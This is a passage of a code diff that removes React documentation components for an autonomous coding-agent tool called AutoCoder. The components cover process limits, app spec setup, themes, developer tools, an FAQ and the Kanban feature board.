<li>Each agent's logs are isolated and filterable</li>
|
||||
</ul>
|
||||
|
||||
{/* Process Limits */}
|
||||
<h3 id="process-limits" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Process Limits
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
The orchestrator enforces strict bounds on concurrent processes to prevent resource
|
||||
exhaustion:
|
||||
</p>
|
||||
<table className="w-full text-sm mt-3">
|
||||
<thead>
|
||||
<tr className="bg-muted/50">
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
Limit
|
||||
</th>
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
Value
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody className="text-muted-foreground">
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
MAX_PARALLEL_AGENTS
|
||||
</span>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">5 (maximum concurrent coding agents)</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
MAX_TOTAL_AGENTS
|
||||
</span>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">
|
||||
10 (hard limit on coding + testing combined)
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">Testing agents</td>
|
||||
<td className="border border-border px-3 py-2">
|
||||
Capped at the same count as coding agents
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2">Total Python processes</td>
|
||||
<td className="border border-border px-3 py-2">
|
||||
Never exceeds 11 (1 orchestrator + 5 coding + 5 testing)
|
||||
</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,130 +0,0 @@
|
||||
/**
|
||||
* AppSpecSetup Documentation Section
|
||||
*
|
||||
* Explains what an app spec is, how to create one interactively
|
||||
* or manually, the initializer agent, and starting after spec creation.
|
||||
*/
|
||||
|
||||
export function AppSpecSetup() {
|
||||
return (
|
||||
<div>
|
||||
{/* What is an App Spec? */}
|
||||
<h3 id="what-is-app-spec" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
What is an App Spec?
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
The app spec is an XML document that describes the application to be built. It lives at{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
.autocoder/prompts/app_spec.txt
|
||||
</span>{' '}
|
||||
and tells the initializer agent what features to create. The spec defines your app's name,
|
||||
description, tech stack, and the features that should be implemented.
|
||||
</p>
|
||||
<div className="bg-muted rounded-lg p-4 font-mono text-sm">
|
||||
<pre><code>{`<app>
|
||||
<name>My App</name>
|
||||
<description>A task management app</description>
|
||||
<features>
|
||||
<feature>User authentication with login/signup</feature>
|
||||
<feature>Task CRUD with categories</feature>
|
||||
</features>
|
||||
</app>`}</code></pre>
|
||||
</div>
|
||||
|
||||
{/* Creating a Spec with Claude */}
|
||||
<h3 id="creating-spec-with-claude" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Creating a Spec with Claude
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
In the UI, select your project and click{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">Create Spec</span>
|
||||
</li>
|
||||
<li>
|
||||
An interactive chat with Claude helps you define your app — it asks about
|
||||
your app's purpose, features, and tech stack
|
||||
</li>
|
||||
<li>The spec is generated and saved automatically</li>
|
||||
<li>After creation, the initializer agent can be started immediately</li>
|
||||
</ul>
|
||||
|
||||
{/* Writing a Spec Manually */}
|
||||
<h3 id="writing-spec-manually" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Writing a Spec Manually
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
Create{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
.autocoder/prompts/app_spec.txt
|
||||
</span>{' '}
|
||||
in your project directory
|
||||
</li>
|
||||
<li>
|
||||
Use XML format with app name, description, tech stack, and a feature list
|
||||
</li>
|
||||
<li>
|
||||
Be specific about each feature — the initializer creates test cases from these
|
||||
descriptions
|
||||
</li>
|
||||
<li>
|
||||
Include technical constraints where needed (e.g.,{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
"use PostgreSQL"
|
||||
</span>
|
||||
,{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
"React with TypeScript"
|
||||
</span>
|
||||
)
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
{/* The Initializer Agent */}
|
||||
<h3 id="initializer-agent" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
The Initializer Agent
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
The initializer agent is the first agent to run on a new project. It bridges the gap between
|
||||
your spec and the coding agents that implement features.
|
||||
</p>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Runs automatically on first agent start when no features exist in the database</li>
|
||||
<li>Reads the app spec and creates features with descriptions, steps, and priorities</li>
|
||||
<li>
|
||||
Sets up feature dependencies (e.g., "auth must be done before user profile")
|
||||
</li>
|
||||
<li>
|
||||
Creates the feature database at{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
.autocoder/features.db
|
||||
</span>
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
{/* Starting After Spec Creation */}
|
||||
<h3 id="starting-after-spec" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Starting After Spec Creation
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Once your spec is ready, you can kick off the agents:
|
||||
</p>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
From the UI, click the <strong className="text-foreground">Play</strong> button to start
|
||||
the agent
|
||||
</li>
|
||||
<li>
|
||||
Or run from the CLI:
|
||||
</li>
|
||||
</ul>
|
||||
<div className="bg-muted rounded-lg p-4 font-mono text-sm mt-3">
|
||||
<pre><code>python autonomous_agent_demo.py --project-dir your-project</code></pre>
|
||||
</div>
|
||||
<p className="text-muted-foreground mt-3">
|
||||
The initializer runs first to create features, then coding agents take over to implement
|
||||
them. Progress is shown in real time on the Kanban board.
|
||||
</p>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,185 +0,0 @@
|
||||
/**
|
||||
* AppearanceThemes Documentation Section
|
||||
*
|
||||
* Covers built-in themes with color previews, dark/light mode toggling,
|
||||
* the theme selector dropdown, and global keyboard shortcuts.
|
||||
*/
|
||||
|
||||
import { Badge } from '@/components/ui/badge'
|
||||
|
||||
/** Theme descriptor used to render the preview rows. */
|
||||
interface ThemePreview {
|
||||
name: string
|
||||
description: string
|
||||
colors: { label: string; hex: string }[]
|
||||
}
|
||||
|
||||
const THEMES: ThemePreview[] = [
|
||||
{
|
||||
name: 'Twitter',
|
||||
description: 'Clean, modern blue design. Primary: blue, Background: white/dark gray.',
|
||||
colors: [
|
||||
{ label: 'Background', hex: '#ffffff' },
|
||||
{ label: 'Primary', hex: '#4a9eff' },
|
||||
{ label: 'Accent', hex: '#e8f4ff' },
|
||||
],
|
||||
},
|
||||
{
|
||||
name: 'Claude',
|
||||
description: "Warm beige/cream tones with orange accents. Inspired by Anthropic's Claude brand.",
|
||||
colors: [
|
||||
{ label: 'Background', hex: '#faf6f0' },
|
||||
{ label: 'Primary', hex: '#c75b2a' },
|
||||
{ label: 'Accent', hex: '#f5ede4' },
|
||||
],
|
||||
},
|
||||
{
|
||||
name: 'Neo Brutalism',
|
||||
description: 'Bold colors, hard shadows, no border radius. High contrast, expressive design.',
|
||||
colors: [
|
||||
{ label: 'Background', hex: '#ffffff' },
|
||||
{ label: 'Primary', hex: '#ff4d00' },
|
||||
{ label: 'Accent', hex: '#ffeb00' },
|
||||
],
|
||||
},
|
||||
{
|
||||
name: 'Retro Arcade',
|
||||
description: 'Vibrant pink and teal with pixel-art inspired styling.',
|
||||
colors: [
|
||||
{ label: 'Background', hex: '#f0e6d3' },
|
||||
{ label: 'Primary', hex: '#e8457c' },
|
||||
{ label: 'Accent', hex: '#4eb8a5' },
|
||||
],
|
||||
},
|
||||
{
|
||||
name: 'Aurora',
|
||||
description: 'Deep violet and luminous teal, inspired by the northern lights.',
|
||||
colors: [
|
||||
{ label: 'Background', hex: '#faf8ff' },
|
||||
{ label: 'Primary', hex: '#8b5cf6' },
|
||||
{ label: 'Accent', hex: '#2dd4bf' },
|
||||
],
|
||||
},
|
||||
{
|
||||
name: 'Business',
|
||||
description: 'Professional deep navy and gray monochrome palette for corporate use.',
|
||||
colors: [
|
||||
{ label: 'Background', hex: '#eaecef' },
|
||||
{ label: 'Primary', hex: '#000e4e' },
|
||||
{ label: 'Accent', hex: '#6b7280' },
|
||||
],
|
||||
},
|
||||
]
|
||||
|
||||
/** Keyboard shortcut descriptor for the shortcuts table. */
|
||||
interface Shortcut {
|
||||
key: string
|
||||
action: string
|
||||
}
|
||||
|
||||
const SHORTCUTS: Shortcut[] = [
|
||||
{ key: '?', action: 'Show keyboard shortcuts help' },
|
||||
{ key: 'D', action: 'Toggle debug panel' },
|
||||
{ key: 'T', action: 'Toggle terminal' },
|
||||
{ key: 'G', action: 'Toggle Kanban/Graph view' },
|
||||
{ key: 'N', action: 'Add new feature' },
|
||||
{ key: 'E', action: 'Expand project with AI' },
|
||||
{ key: 'A', action: 'Toggle AI assistant' },
|
||||
{ key: ',', action: 'Open settings' },
|
||||
{ key: 'R', action: 'Reset project' },
|
||||
{ key: 'Escape', action: 'Close current modal' },
|
||||
]
|
||||
|
||||
export function AppearanceThemes() {
|
||||
return (
|
||||
<div>
|
||||
{/* Themes Overview */}
|
||||
<h3 id="themes-overview" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Themes Overview
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-4">
|
||||
AutoCoder comes with 6 built-in themes. Each theme provides a complete visual identity including
|
||||
colors, accents, and dark mode variants.
|
||||
</p>
|
||||
<div className="space-y-4">
|
||||
{THEMES.map((theme) => (
|
||||
<div key={theme.name} className="flex items-start gap-4">
|
||||
{/* Color swatches */}
|
||||
<div className="flex gap-1.5 shrink-0 mt-1">
|
||||
{theme.colors.map((color) => (
|
||||
<div
|
||||
key={color.label}
|
||||
title={`${color.label}: ${color.hex}`}
|
||||
className="w-6 h-6 rounded border border-border"
|
||||
style={{ backgroundColor: color.hex }}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
{/* Description */}
|
||||
<div>
|
||||
<strong className="text-foreground">{theme.name}</strong>
|
||||
{theme.name === 'Twitter' && (
|
||||
<>
|
||||
{' '}
|
||||
<Badge variant="secondary">Default</Badge>
|
||||
</>
|
||||
)}
|
||||
<span className="text-muted-foreground"> — {theme.description}</span>
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{/* Dark & Light Mode */}
|
||||
<h3 id="dark-light-mode" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Dark & Light Mode
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Toggle with the sun/moon icon in the header</li>
|
||||
<li>All 6 themes have dedicated dark mode variants</li>
|
||||
<li>
|
||||
Preference is saved in browser{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">localStorage</span>
|
||||
</li>
|
||||
<li>Dark mode affects all UI elements including the docs page</li>
|
||||
</ul>
|
||||
|
||||
{/* Theme Selector */}
|
||||
<h3 id="theme-selector" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Theme Selector
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Hover over the palette icon in the header to open the theme dropdown</li>
|
||||
<li>Preview themes by hovering over each option (live preview)</li>
|
||||
<li>Click to select — the change is applied instantly</li>
|
||||
<li>Theme preference persists across sessions</li>
|
||||
</ul>
|
||||
|
||||
{/* Keyboard Shortcuts */}
|
||||
<h3 id="keyboard-shortcuts" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Keyboard Shortcuts
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
Press <Badge variant="secondary">?</Badge> anywhere in the UI to see the shortcuts help overlay.
|
||||
</p>
|
||||
<table className="w-full text-sm mt-3">
|
||||
<thead>
|
||||
<tr className="bg-muted/50">
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">Key</th>
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">Action</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody className="text-muted-foreground">
|
||||
{SHORTCUTS.map((shortcut) => (
|
||||
<tr key={shortcut.key}>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<Badge variant="secondary">{shortcut.key}</Badge>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">{shortcut.action}</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,104 +0,0 @@
|
||||
/**
|
||||
* DeveloperTools Documentation Section
|
||||
*
|
||||
* Covers the debug panel, agent logs tab, dev server logs,
|
||||
* terminal, dev server control, and per-agent logs.
|
||||
*/
|
||||
|
||||
import { Badge } from '@/components/ui/badge'
|
||||
|
||||
export function DeveloperTools() {
|
||||
return (
|
||||
<div>
|
||||
{/* Debug Panel */}
|
||||
<h3 id="debug-panel" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Debug Panel
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
Press <Badge variant="secondary">D</Badge> to toggle the debug panel at the bottom of the screen
|
||||
</li>
|
||||
<li>Resizable by dragging the top edge</li>
|
||||
<li>
|
||||
Three tabs: <strong className="text-foreground">Agent Logs</strong>,{' '}
|
||||
<strong className="text-foreground">Dev Server Logs</strong>, and{' '}
|
||||
<strong className="text-foreground">Terminal</strong>
|
||||
</li>
|
||||
<li>Shows real-time output from agents and dev server</li>
|
||||
</ul>
|
||||
|
||||
{/* Agent Logs Tab */}
|
||||
<h3 id="agent-logs-tab" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Agent Logs Tab
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
Color-coded log levels:{' '}
|
||||
<span className="text-[var(--color-log-error)] font-medium">Error</span>,{' '}
|
||||
<span className="text-[var(--color-log-warning)] font-medium">Warning</span>,{' '}
|
||||
<span className="text-[var(--color-log-info)] font-medium">Info</span>,{' '}
|
||||
<span className="text-[var(--color-log-debug)] font-medium">Debug</span>,{' '}
|
||||
<span className="text-[var(--color-log-success)] font-medium">Success</span>
|
||||
</li>
|
||||
<li>Timestamps on each log entry</li>
|
||||
<li>Auto-scrolls to latest entry</li>
|
||||
<li>Clear button to reset log view</li>
|
||||
</ul>
|
||||
|
||||
{/* Dev Server Logs Tab */}
|
||||
<h3 id="dev-server-logs" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Dev Server Logs Tab
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
Shows stdout/stderr from the project’s dev server (e.g.,{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">npm run dev</span>)
|
||||
</li>
|
||||
<li>Useful for seeing compilation errors, hot reload status</li>
|
||||
<li>Clear button available</li>
|
||||
</ul>
|
||||
|
||||
{/* Terminal */}
|
||||
<h3 id="terminal" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Terminal
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
Press <Badge variant="secondary">T</Badge> to open terminal (opens debug panel on the terminal tab)
|
||||
</li>
|
||||
<li>Full xterm.js terminal emulator with WebSocket backend</li>
|
||||
<li>Multi-tab support: create multiple terminal sessions</li>
|
||||
<li>Rename tabs by double-clicking the tab title</li>
|
||||
<li>Each tab runs an independent PTY (pseudo-terminal) session</li>
|
||||
<li>Supports standard terminal features: colors, cursor movement, history</li>
|
||||
</ul>
|
||||
|
||||
{/* Dev Server Control */}
|
||||
<h3 id="dev-server-control" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Dev Server Control
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Start/stop button in the header bar</li>
|
||||
<li>
|
||||
Auto-detects project type (Next.js, Vite, CRA, etc.) and runs the appropriate dev command
|
||||
</li>
|
||||
<li>Shows the dev server URL when running</li>
|
||||
<li>Automatic crash detection and restart option</li>
|
||||
<li>Dev server output piped to the Dev Server Logs tab</li>
|
||||
</ul>
|
||||
|
||||
{/* Per-Agent Logs */}
|
||||
<h3 id="per-agent-logs" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Per-Agent Logs
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>In Agent Mission Control, click any agent card to see its individual logs</li>
|
||||
<li>
|
||||
Logs include: what feature the agent is working on, code changes, test results
|
||||
</li>
|
||||
<li>Separate logs for coding agents and testing agents</li>
|
||||
<li>Real-time streaming — see agent output as it happens</li>
|
||||
</ul>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,157 +0,0 @@
|
||||
/**
|
||||
* FAQ Documentation Section
|
||||
*
|
||||
* Covers frequently asked questions about project setup, agent behavior,
|
||||
* customization, troubleshooting, and real-time monitoring.
|
||||
*/
|
||||
|
||||
export function FAQ() {
|
||||
return (
|
||||
<div>
|
||||
{/* Starting a New Project */}
|
||||
<h3 id="faq-new-project" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Starting a New Project
|
||||
</h3>
|
||||
<p className="text-muted-foreground italic mb-2">
|
||||
How do I use AutoCoder on a new project?
|
||||
</p>
|
||||
<p className="text-muted-foreground">
|
||||
From the UI, select "Create New Project" in the project dropdown. Choose a folder and
|
||||
name. Then create an app spec using the interactive chat or write one manually. Click Start to run
|
||||
the initializer agent, which creates features from your spec. Coding agents then implement features
|
||||
automatically.
|
||||
</p>
|
||||
|
||||
{/* Adding to Existing Project */}
|
||||
<h3 id="faq-existing-project" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Adding to Existing Project
|
||||
</h3>
|
||||
<p className="text-muted-foreground italic mb-2">
|
||||
How do I add AutoCoder to an existing project?
|
||||
</p>
|
||||
<p className="text-muted-foreground">
|
||||
Register the project folder through the UI project selector using "Add Existing".
|
||||
AutoCoder creates a{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">.autocoder/</span> directory
|
||||
alongside your existing code. Write an app spec describing what to build (new features), and the
|
||||
agent works within your existing codebase.
|
||||
</p>
|
||||
|
||||
{/* Agent Crashes */}
|
||||
<h3 id="faq-agent-crash" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Agent Crashes
|
||||
</h3>
|
||||
<p className="text-muted-foreground italic mb-2">
|
||||
What happens if an agent crashes?
|
||||
</p>
|
||||
<p className="text-muted-foreground">
|
||||
The orchestrator (Maestro) automatically detects crashed agents and can restart them. Features
|
||||
claimed by a crashed agent are released back to the pending queue. Scheduled runs use exponential
|
||||
backoff with up to 3 retries. Check the agent logs in the debug panel for crash details.
|
||||
</p>
|
||||
|
||||
{/* Custom Bash Commands */}
|
||||
<h3 id="faq-custom-commands" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Custom Bash Commands
|
||||
</h3>
|
||||
<p className="text-muted-foreground italic mb-2">
|
||||
How do I customize which bash commands the agent can use?
|
||||
</p>
|
||||
<p className="text-muted-foreground">
|
||||
Create{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
.autocoder/allowed_commands.yaml
|
||||
</span>{' '}
|
||||
in your project with a list of allowed commands. Supports exact names, wildcards (e.g.,{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">swift*</span>), and local
|
||||
scripts. See the Security section for full details on the command hierarchy.
|
||||
</p>
|
||||
|
||||
{/* Blocked Features */}
|
||||
<h3 id="faq-blocked-features" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Blocked Features
|
||||
</h3>
|
||||
<p className="text-muted-foreground italic mb-2">
|
||||
Why are my features stuck in "blocked" status?
|
||||
</p>
|
||||
<p className="text-muted-foreground">
|
||||
Features with unmet dependencies show as blocked. Check the Dependency Graph view (press{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">G</span>) to see which
|
||||
features are waiting on others. A feature can only start when all its dependencies are marked as
|
||||
"passing". Remove or reorder dependencies if needed.
|
||||
</p>
|
||||
|
||||
{/* Running in Parallel */}
|
||||
<h3 id="faq-parallel" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Running in Parallel
|
||||
</h3>
|
||||
<p className="text-muted-foreground italic mb-2">
|
||||
How do I run multiple agents in parallel?
|
||||
</p>
|
||||
<p className="text-muted-foreground">
|
||||
Use the concurrency slider in the agent control bar (1–5 agents) or pass{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">
|
||||
--parallel --max-concurrency N
|
||||
</span>{' '}
|
||||
on the CLI. Each agent claims features atomically, so there is no conflict. More agents means
|
||||
faster progress but higher API cost.
|
||||
</p>
|
||||
|
||||
{/* Using Local Models */}
|
||||
<h3 id="faq-local-model" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Using Local Models
|
||||
</h3>
|
||||
<p className="text-muted-foreground italic mb-2">
|
||||
Can I use a local model instead of the Claude API?
|
||||
</p>
|
||||
<p className="text-muted-foreground">
|
||||
Yes, via Ollama v0.14.0+. Install Ollama, pull a coding model (e.g.,{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">qwen3-coder</span>), and
|
||||
configure your{' '}
|
||||
<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">.env</span> to point to
|
||||
localhost. See the Advanced Configuration section for full setup instructions.
|
||||
</p>
|
||||
|
||||
{/* Resetting a Project */}
|
||||
<h3 id="faq-reset" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Resetting a Project
|
||||
</h3>
|
||||
<p className="text-muted-foreground italic mb-2">
|
||||
How do I reset a project and start over?
|
||||
</p>
|
||||
<p className="text-muted-foreground">
|
||||
Press <span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">R</span> (when agents
|
||||
are stopped) to open the Reset modal. Choose between: "Reset Features" (clears the
|
||||
feature database, keeps the spec) or "Full Reset" (removes the spec too, starts fresh).
|
||||
After a full reset, you will be prompted to create a new spec.
|
||||
</p>
|
||||
|
||||
{/* Coding vs Testing Agents */}
|
||||
<h3 id="faq-agent-types" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Coding vs Testing Agents
|
||||
</h3>
|
||||
<p className="text-muted-foreground italic mb-2">
|
||||
What's the difference between coding and testing agents?
|
||||
</p>
|
||||
<p className="text-muted-foreground">
|
||||
Coding agents implement features — they write code, create files, and run feature-specific
|
||||
tests. Testing agents run regression tests across completed features to ensure new code does not
|
||||
break existing functionality. Configure the testing agent ratio (0–3) in settings.
|
||||
</p>
|
||||
|
||||
{/* Monitoring in Real Time */}
|
||||
<h3 id="faq-real-time" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Monitoring in Real Time
|
||||
</h3>
|
||||
<p className="text-muted-foreground italic mb-2">
|
||||
How do I view what an agent is doing in real time?
|
||||
</p>
|
||||
<p className="text-muted-foreground">
|
||||
Multiple ways: (1) Watch the Kanban board for feature status changes. (2) Open the debug panel
|
||||
(<span className="bg-muted px-1.5 py-0.5 rounded text-sm font-mono">D</span> key) for live
|
||||
agent logs. (3) Click agent cards in Mission Control for per-agent logs. (4) The progress bar
|
||||
updates in real time via WebSocket.
|
||||
</p>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
@@ -1,182 +0,0 @@
|
||||
/**
|
||||
* FeaturesKanban Documentation Section
|
||||
*
|
||||
* Covers the Kanban board, feature cards, dependency graph view,
|
||||
* adding/editing features, dependencies, expanding with AI,
|
||||
* and priority ordering.
|
||||
*/
|
||||
|
||||
import { Badge } from '@/components/ui/badge'
|
||||
|
||||
export function FeaturesKanban() {
|
||||
return (
|
||||
<div>
|
||||
{/* Kanban Board Overview */}
|
||||
<h3 id="kanban-overview" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Kanban Board Overview
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
The main view organizes features into three columns representing their current status:
|
||||
</p>
|
||||
<table className="w-full text-sm mt-3 mb-4">
|
||||
<thead>
|
||||
<tr className="bg-muted/50">
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
Column
|
||||
</th>
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
Color
|
||||
</th>
|
||||
<th className="border border-border px-3 py-2 text-left font-medium text-foreground">
|
||||
Meaning
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody className="text-muted-foreground">
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2 font-medium">Pending</td>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<Badge variant="outline" className="border-yellow-500 text-yellow-600">Yellow</Badge>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">Waiting to be picked up</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2 font-medium">In Progress</td>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<Badge variant="outline" className="border-cyan-500 text-cyan-600">Cyan</Badge>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">An agent is actively working on it</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td className="border border-border px-3 py-2 font-medium">Done</td>
|
||||
<td className="border border-border px-3 py-2">
|
||||
<Badge variant="outline" className="border-green-500 text-green-600">Green</Badge>
|
||||
</td>
|
||||
<td className="border border-border px-3 py-2">Implemented and passing</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p className="text-muted-foreground">
|
||||
Each feature appears as a card showing its name, priority, and category. The board updates
|
||||
in real time as agents work.
|
||||
</p>
|
||||
|
||||
{/* Feature Cards */}
|
||||
<h3 id="feature-cards" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Feature Cards
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
Each card displays a priority badge (<Badge variant="secondary">P1</Badge> through{' '}
|
||||
<Badge variant="secondary">P5</Badge>), a category tag, and the feature name
|
||||
</li>
|
||||
<li>Status icons indicate the current state of the feature</li>
|
||||
<li>Click a card to open the detail modal with the full description and test steps</li>
|
||||
<li>
|
||||
Cards in the "In Progress" column show which agent is currently working on them
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
{/* Dependency Graph View */}
|
||||
<h3 id="dependency-graph" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Dependency Graph View
|
||||
</h3>
|
||||
<p className="text-muted-foreground mb-3">
|
||||
An alternative to the Kanban board that visualizes feature relationships as a directed graph.
|
||||
</p>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
Press <Badge variant="secondary">G</Badge> to toggle between Kanban and Graph view
|
||||
</li>
|
||||
<li>Uses the dagre layout engine for automatic node positioning</li>
|
||||
<li>
|
||||
Nodes are colored by status — pending, in-progress, and done each have
|
||||
distinct colors
|
||||
</li>
|
||||
<li>Arrows show dependency relationships between features</li>
|
||||
<li>Click any node to open the feature detail modal</li>
|
||||
<li>Supports both horizontal and vertical layout orientations</li>
|
||||
</ul>
|
||||
|
||||
{/* Adding Features */}
|
||||
<h3 id="adding-features" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Adding Features
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>
|
||||
Press <Badge variant="secondary">N</Badge> to open the Add Feature form
|
||||
</li>
|
||||
<li>Fill in: name, description, category, and priority</li>
|
||||
<li>Optionally define steps (test criteria the agent must pass to complete the feature)</li>
|
||||
<li>New features are added to the Pending column immediately</li>
|
||||
</ul>
|
||||
|
||||
{/* Editing & Deleting Features */}
|
||||
<h3 id="editing-features" className="text-lg font-semibold text-foreground mt-8 mb-3">
|
||||
Editing & Deleting Features
|
||||
</h3>
|
||||
<ul className="list-disc space-y-2 ml-4 text-muted-foreground">
|
||||
<li>Click a feature card to open the detail modal</li>
|
||||
<li>
|
||||
Click <strong className="text-foreground">Edit</strong> to modify the name, description,
|
||||
category, priority, or steps
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-foreground">Delete</strong> removes the feature permanently
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-foreground">Skip</strong> moves a feature to the end of the queue
|
||||
without deleting it
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
{/* Feature Dependencies */}
|
||||
